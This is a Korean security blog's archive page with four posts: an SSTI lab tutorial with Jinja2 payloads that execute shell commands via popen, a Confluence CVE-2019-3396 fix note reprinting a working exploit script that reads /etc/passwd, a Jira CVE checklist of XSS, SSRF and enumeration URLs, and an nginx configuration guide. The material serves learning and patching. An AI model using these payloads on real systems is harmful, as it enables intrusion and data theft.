'2022/09/15'에 해당되는 글 4건

[WEB] SSTI(Server Side Template Injection) 취약점 (tistory.com)

 

[WEB] SSTI(Server Side Template Injection) 취약점

SSTI Server Side Template Injection 0. 배경지식 SSTI에 대해서 논하기 전에, 먼저 기본적으로 알고 있어야 할 지식들에 대해서 소개합니다. 우선 Template에 대해서 소개합니다. 웹페이지는 유저와 데이터를

dokhakdubini.tistory.com

0. 배경지식

 

 

  SSTI에 대해서 논하기 전에, 먼저 기본적으로 알고 있어야 할 지식들에 대해서 소개합니다.

  우선 Template에 대해서 소개합니다. 웹페이지는 유저와 데이터를 주고받는지에 대한 여부에 따라 정적 웹페이지 동적 웹페이지로 나뉩니다. 당연히 동적 웹페이지를 구성하는게 훨씬 더 자유도가 높겠죠? 따라서 대부분의 웹페이지가 동적 웹페이지로 구성되어있습니다. 주로 웹페이지는 HTML, CSS, JavaScript, PHP 등의 언어를 사용해서 구현합니다. 그러나 위 언급한 언어를 사용하여 동적 웹페이지를 구현하는 것보다 템플릿이라는 것을 사용하는 것이 훨씬 더 간편하고, 유지보수하기 쉽습니다.

  웹 템플릿의 종류는 정말 많으며, 각 웹 템플릿에 따라 다양한 문법을 구사하고 있습니다. 대표적인 웹 템플릿으로는 Smarty, Mako, Jinja2, Twig 등이 있습니다. 아래는 유형별로 각 언어를 구분하는 방법을 도식화시킨 사진입니다.

 

출처 : https://portswigger.net/web-security/server-side-template-injection

 

1. SSTI에 대하여

 

 

  먼저 이론적으로 어떤 공격인지에 대해서 알아봅시다. SSTI는 우선 Server Side Template Injection입니다. 즉, Server의 기준으로 어떤 template를 이용하였을 때, injection이 가능하다는 내용입니다. 앞서 이야기한 template를 악용하여 단순 변수가 아니라 서버 내부의 파일, 나아가 RCE(Remote Code Execution)을 삽입할 경우 그 값들이 노출/실행되어버리는 취약점입니다.

  이 취약점은 결론적으로 삽입된 템플릿이 서버측에서 해석이 되기 때문에 문제가 됩니다. 심각할 경우 페이지에서 eval함수를 쓴 것과 동일할 정도로 취약해집니다. 삽입하는 값은 문법에 따라 달라지는데, 오늘 저는 flask의 jinja2 문법을 사용하도록 하겠습니다.

 

2. 실습

 

 

직접 실습해봅시다! 저는 jinja2를 활용하여 로컬에서 SSTI를 실습해볼 수 있는 코드를 작성하였습니다. Flask는 설정을 해주지 않는 경우 기본적으로 jinja2를 사용하기 때문에, jinja2로 실습을 진행하였습니다.

 

#!/usr/bin/python3
#-*- coding:utf-8 -*- 

from flask import Flask, request, render_template_string
app=Flask(__name__)

with open('flag.txt', 'r') as f:
	flag = f.read()
	
app.secret_key=str(flag)

@app.route('/')
def home():
	title="SSTI 실습을 해봅시다"
	content = request.args.get('content')
	thisistemp='''
	<!DOCTYPE html>
	<html>
		<head>
			<meta charset="utf-8">
			<title>SSTI</title>
		</head>
		<body>
			<h1>{{title}}</h1>
			<h2>%s</h2>
		</body>
	</html>'''%content				#vuln!
	return render_template_string(thisistemp, title=title)

if __name__ == '__main__':
	app.run(host='127.0.0.1', port=8080)

 

코드를 분석해보면, 우리가 일반적으로는 볼 수 없는 secret_key가 있고, 페이지 자체는 argument로 content를 받아서 template를 통해 출력을 시켜주는 간단한 사이트네요. 대신 thisistemp라는 템플릿을 보면, content를 받아서 그대로 템플릿에 집어넣어서 문제가 발생하는 것을 볼 수 있습니다. 따라서 이걸 기반으로 SSTI 공격을 해봅시다.

 

 

짠! 잘 실행된 것을 볼 수 있습니다. 뒤에 content값을 넣어서 잘 출력되는지 확인해봅시다.

 

템플릿도 동적으로 값을 받아서 잘 출력시켜주는 것을 볼 수 있습니다. 그럼 이제 여기에 단순 string값이 아닌 템플릿 자체를 넣었을 때 어떤 일이 발생하는지 봅시다.

 

 

오 단순히 {{7*7}}이라는 문자열이 출력되는게 아니라, 49라는 계산값이 출력되었네요. SSTI 취약점이 발견되는 것을 확인했으며, 단순한 계산값말고 더 재미있는 값들을 넣어봅시다.

 

우리가 결론적으로 얻고자 하는 것은 맨 처음에 선언해둔 FLAG값입니다.

app=Flask(__name__)

with open('flag.txt', 'r') as f:
	flag = f.read()
    
app.secret_key=str(flag)

 

현재 코드는 SSTI에 대한 검증을 전혀 하고 있지 않습니다. 이걸 이용하여 플래그 값을 출려시켜봅시다.

http://127.0.0.1:8080/?content={{config[%27SECRET_KEY%27]}}

 

짠! 좋습니당. 이번에는 단순히 변수출력이 아닌 직접 flag.txt를 출력시켜봅시다. 

?content={{config.items()}}

다음을 삽입하여 결과값을 봅시다.

이미 secret_key를 통해서 플래그 값이 보이긴 하지만, 우리의 목표는 로컬파일을 여는 것이니 일단 무시합시다. 아무튼 이 결과값들은 config 내부에 있는 값들을 딕셔너리 형태로 출력시킨 것입니다. 우리가 할 수 있는 일은 os라이브러리를 포함시켜서 os내부의 config 딕셔너리 또한 추가시키는 것입니다. os 라이브러리 내부에는 popen이나 os등의 실행 함수들이 있기 때문에 이를 사용할 예정입니다.

 

{{config.from_object('os')}}*
{{config.items()}}

 

위 두 명령어를 실행할 경우 결과창은 이전 config.items()했을 때와 비슷하지만 뭐가 더 많이 생긴 것을 볼 수 있습니다. os의 config 딕셔너리가 추가되었다는 뜻이겠죠?

 

{{''.__class__.__mro__}}

 

다음 코드를 집어넣어서 우리가 사용할 수 있는 클래스를 검색해봅시다.

 

 

str과 object의 두 클래스가 반환이 되는데, python에서 함수들은 모두 object class이므로 저 클래스에 해당되는 값들을 보면 함수들을 찾을 수도 있겠다는 합리적 의심을 할 수 있습니다. {{''.__class__.__mro__[1].__subclasses__()}}로 어떤 값들이 있는지 봅시다.

{{''.__class__.__mro__[1].__subclasses__()}}

 

수많은 클래스 중 popen이 있는 것을 확인할 수 있습니다. 이걸 통해서 플래그를 출력시켜봅시다.

우선 슬라이싱을 통해서 popen이 202번째 값인걸 알아냈습니다.

여기서부터는 그냥 popen을 쓰듯이 코드를 활용하시면 됩니다. 저는 다음과 같이 사용했습니다.

http://127.0.0.1:8080/?content={{%27%27.__class__.__mro__[1].__subclasses__()[202](%27ls%27,shell=True,stdout=-1).communicate()}}

 

이렇게 로컬 ls가 보이는 것을 볼 수 있는데, 이건 실제 제 로컬 디렉토리와 동일합니다.

그럼 ls대신 cat flag를 해주면 되겠죵?

http://127.0.0.1:8080/?content={{%27%27.__class__.__mro__[1].__subclasses__()[202](%27cat%20flag.txt%27,shell=True,stdout=-1).communicate()}}

 

 

저는 단순히 연습용으로 허접하게 만들었지만, 실제 CTF문제나 real-world에서는 필터링이 걸려있다거나, 다른 보호기법이 걸려있는 등 제한조건이 더 많겠죠?

 

3. 보호기법

 

  앞서 언급한 적이 있지만, SSTI 취약점은 적절한 필터링을 거치지 않기 때문에 발생하는 취약점입니다. 동적 데이터를 템플릿 내부에서 바로 처리해버러셔 주로 발생을 합니다. 따라서 동적데이터를 템플릿으로 저장할 때 템플릿 내에서 처리하지 않고, 템플릿 엔진의 기능을 사용하여 쓰는 것도 SSTI 취약점을 방어하는데 도움이 됩니다.

 

4. 결론

 

개인적으로 가장 재미있는 취약점인 것 같습니다. 배운 김에 문제도 몇 문제 풀어봤는데, 매번 느끼지만 보안은 기본적으로 개발부분의 지식이 받쳐주어야하는 것 같습니다. 시간이 된다면 case별 SSTI도 정리해서 올리는 것으로 하겠습니다. 재밌당 끝!!

 

 

참고

 

https://portswigger.net/research/server-side-template-injection

https://me2nuk.com/SSTI-Vulnerability/

https://core-research-team.github.io/2021-05-01/Server-Side-Template-Injection(SSTI)#3-ssti-%ED%95%84%ED%84%B0%EB%A7%81-%EC%9A%B0%ED%9A%8C-in-ctf---jinja2 

블로그 이미지

wtdsoul

,

confluence CVE-2019-3396 취약점 조치 – chohi's HOME (kkoc.org)

 

confluence CVE-2019-3396 취약점 조치 – chohi's HOME

confluence CVE-2019-3396 취약점 https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html l Atlassian Confluence에 v6.10.0 기준으로 임시조치 방법을 기술함. 컨플루언스 관리 > 애드온(Add-on) 관

www.kkoc.org

https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

 

테스트에 사용된 코드

https://github.com/jas502n/CVE-2019-3396

 

Confluence Security Advisory - 2019-03-20 | Confluence Data Center and Server 7.19 | Atlassian Documentation

 

confluence.atlassian.com

 

Atlassian Confluence에 v6.10.0 기준으로 임시조치 방법을 기술함.

컨플루언스 관리 > 애드온(Add-on) 관리 선택

WebDAV Plugin, Widget Connector 비활성화

보완 취약점 조치 이전

“cat /etc/passwd” <- 명령어가 실행 되는 문제점등 각종 shell 스크립트를 구동할 수 있는 취약점이 있었다.

보완 취약점 조치 이후

confluence 설치된 host에서 shell 명령어가 실행 안되는것 확인

 

#coding=utf-8
 
print(r'''
_____ __ _ ______ _____ _____
/ __ \ / _| | | ___ \/ __ \| ___|
| / \/ ___ _ __ | |_| |_ _ ___ _ __ ___ ___ | |_/ /| / \/| |__
| | / _ \| '_ \| _| | | | |/ _ \ '_ \ / __/ _ \ | / | | | __|
| \__/\ (_) | | | | | | | |_| | __/ | | | (_| __/ | |\ \ | \__/\| |___
\____/\___/|_| |_|_| |_|\__,_|\___|_| |_|\___\___| \_| \_| \____/\____/
 
By Jas502n
CVE-2019-3396
 
''')
import os
import sys
import re
import requests
 
 
cmd = "cat /etc/passwd"
#url = sys.argv[1]
#cmd = sys.argv[2]
 
proxies = {
"http":"http://127.0.0.1:8080",
"https":"https://127.0.0.1:8080",
"http":"socks5h://127.0.0.1:1080",
"https":"socks5h://127.0.0.1:1080"
}
 
paylaod = url + "/rest/tinymce/1/macro/preview"
 
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
"Referer": url + "/pages/resumedraft.action?draftId=1&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
"Content-Type": "application/json; charset=utf-8"
}
 
pyftp = "file:///etc/passwd"
 
#pyftp = "ftp://10.10.20.166:8887/r.vm"
 
 
data = '{"contentId":"1","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s","command":"%s"}}}' % (pyftp,cmd)
r = requests.post(paylaod, data=data, headers=headers)
 
# print r.content
if r.status_code == 200 and "wiki-content" in r.text:
m = re.findall('.*wiki-content">\n(.*)\n </div>\n', r.text, re.S)
print("\n>>>>Usage: python test.py url cmd \n")
print(">>>>Confluence Vuln url: %s \n" %paylaod)
 
print('>>>>Command Response:\n',m[0].strip())
블로그 이미지

wtdsoul

,

Jira 취약점 점검 참고

2022. 9. 15. 17:33

1. CVE-2020-14179 (Information Disclosure)
a. Navigate to <JIRA_URL>/secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to <JIRA_URL>/secure/ViewUserHover.jspa?username=<uname>
Harsh Bothra
@harshbothra_
·
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to <JIRA_URL>/browse.<project_key>
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.
·
4. CVE-2019-3402 (XSS)
a. Navigate to <JIRA_URL>/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5.  CVE-2019-11581 (SSTI)
a. Navigate to <JIRA_URL>/secure/ContactAdministrators!default.jspa

6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a.  Navigate to <JIRA_URL>/plugins/servlet/gadgets/makeRequest?url=https://<host_name>:1337@example.com
8.  CVE-2019-8451 (SSRF)
a. Navigate to <URL>/plugins/servlet/gadgets/makeRequest?url=https://<host>:1337@ea.com
·
9.  CVE-2019-8449 (User Information Disclosure)
a. Navigate to <JIRA_URL>/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
b. Observe that the user related information will be available.
·
10. CVE-2019-3403 (User Enumeration)
a.  Navigate to <Jira_URL>/rest/api/2/user/picker?query=<user_name_here> 
b.  Observe the difference in response when valid vs. invalid user is queried.
·
11.   CVE-2019-8442 (Sensitive Information Disclosure)
a.  Navigate to <JIRA_URL>/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
b. Observe that the pom.xml file is accessible.

'' 카테고리의 다른 글

.aspx webshell  (0) 2022.06.23
HTTP Request Smuggling (펌)  (0) 2022.06.16
SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
블로그 이미지

wtdsoul

,

Nginx 기본 환경 설정 (tistory.com)

 

Nginx 기본 환경 설정

Nginx 기본 환경 설정 Nginx는 환경 설정 텍스트 파일로 여러 가지 값을 지정해 Nginx 설정을 할 수 있도록 지원한다. Nginx 설치 시 기본적으로 설정하는 환경설정 값들을 알아보겠다. 참고 링크 아래

prohannah.tistory.com

 

Nginx 기본 환경 설정

Nginx는 환경 설정 텍스트 파일로 여러 가지 값을 지정해 Nginx 설정을 할 수 있도록 지원한다. Nginx 설치 시 기본적으로 설정하는 환경설정 값들을 알아보겠다.

 

참고 링크
아래 블로그 글이 도움이 많이 되었다. Nginx 구조, 환경설정 지시어의 의미, 지시어별 권장 수치, 표준 설정과 서버 성능 테스트 방법도 제안하고 있다.

 

기본 설정

  • nginx.conf : 어플리케이션의 기본 환경 설정 아래 명령어를 이용해 환경 파일을 찾을 수 있다.
  • find / -name nginx.conf
  • 보통 /etc/nginx/* 아래에 설정파일이 위치해있고, 로그파일은 /var/log/nginx/* 에 위치해있다.

 

간단한 뼈대부터 확인하자

 
worker_processes 1;
 
events {
 
worker_connections 1024;
 
}
 
http {
 
include mime.types;
 
server {
 
listen 80;
 
location / {
 
root html;
 
index index.html index.htm;
 
}
 
}
 
}

아래와 같이 네 가지 영역으로 구성되어 있다.

  1. Core 모듈
    코어 모듈은 대부분 환경 설정 파일의 최상단에 위치하며 한번만 사용할 수 있다. nginx의 기본적인 동작 방식을 정의한다.
  2. http 블록
    웹서버에 대한 동작을 설정하는 영역으로, server 블록과 location 블록의 루트 블록이다.
  3. server 블록
    하나의 웹사이트를 선언하는 데 사용된다. 가상 호스팅(Virtual Host)의 개념이다.
  4. location 블록
    server 블록 내에서 특정 URL을 처리하는 방법을 정의한다.
  5. events
    주로 네트워크 동작에 관련된 설정하는 영역으로, 이벤트 모듈을 사용한다.

 

Nginx 설정 예제
NGINX를 설치하면 기본적으로 아래와 같이 설정이 되어있다. 여기에서 변경이 일어난 부분이나 부연설명이 필요한 부분에는 ##으로 주석을 남겼다.

 
user nginx; ## NGINX 프로세스가 실행되는 권한, root 권한은 보안상 위험함
 
worker_processes 2; ## Default: 1, CPU 코어 하나에 최소한 한 개의 프로세스가 배정되도록 변경 권장
 
worker_priority 0; ## 값이 작을 수록 높은 우선순위를 갖는다. 커널 프로세스의 기본 우선순위인 -5 이하로는 설정하지 않도록 한다.
 
 
 
# 로그레벨 [ debug | info | notice | warn | error | crit ]
 
error_log /var/log/nginx/error.log error; ## 로그레벨을 warn -> error로 변경함
 
pid /var/run/nginx.pid;
 
 
 
events {
 
worker_connections 1024; ## Default: 1024, 현 서버는 RAM 8GB라 상향조정
 
multi_accept off; ## Default: off
 
}
 
 
 
http {
 
include /etc/nginx/mime.types;
 
default_type application/octet-stream;
 
 
 
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
 
'$status $body_bytes_sent "$http_referer" '
 
'"$http_user_agent" "$http_x_forwarded_for"';
 
 
 
access_log /var/log/nginx/access.log main;
 
 
 
sendfile on;
 
#tcp_nopush on;
 
 
 
server_tokens off; ## 헤더에 NGINX 버전을 숨김 (보안상 설정 권장)
 
keepalive_timeout 65; ## 접속 시 커넥션 유지 시간
 
 
 
#gzip on;
 
 
 
include /etc/nginx/conf.d/*.conf;
 
}

 

리버스 프록시

따라서 /etc/nginx/site-available/default의 server 항목을 다시 수정한다. 총 2개의 server 항목이 존재할 수 있도록 만든다. 아래 코드와 같이 기본적으로 443 포트를 사용하도록 하고, 추가적으로 80번 포트로의 접속은 https로 리다이렉트 시키도록 작업하면 된다.

 
server {
 
listen 443;
 
server_name {도메인 주소 1} {도메인 주소 2};
 
ssl on;
 
ssl_certificate {공개키 경로};
 
ssl_certificate_key {개인키 경로};
 
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
 
 
 
root {웹 루트 경로};
 
 
 
index index.html index.htm index.nginx-debian.html;
 
 
 
location / {
 
try_files $uri $uri/ =404;
 
}
 
 
 
}
 
 
 
server {
 
listen 80;
 
server_name {도메인 주소 1} {도메인 주소 2};
 
return 301 https://{도메인 주소};
 
}
 
 
 
출처: https://ndb796.tistory.com/341 [안경잡이개발자]Another Full Example

 

NGINX 환경파일 공식문서

나는 Another Full Example 파일을 참고하였다.

Full Example Configuration

Another Full Example

[참고] sites.conf : NGINX에 의해 서비스되는 가상 호스트 웹사이트 환경 설정. 도메인마다 파일을 분리해서 만들 것을 권장

출처: https://prohannah.tistory.com/136 [Hello, Hannah!:티스토리]

블로그 이미지

wtdsoul

,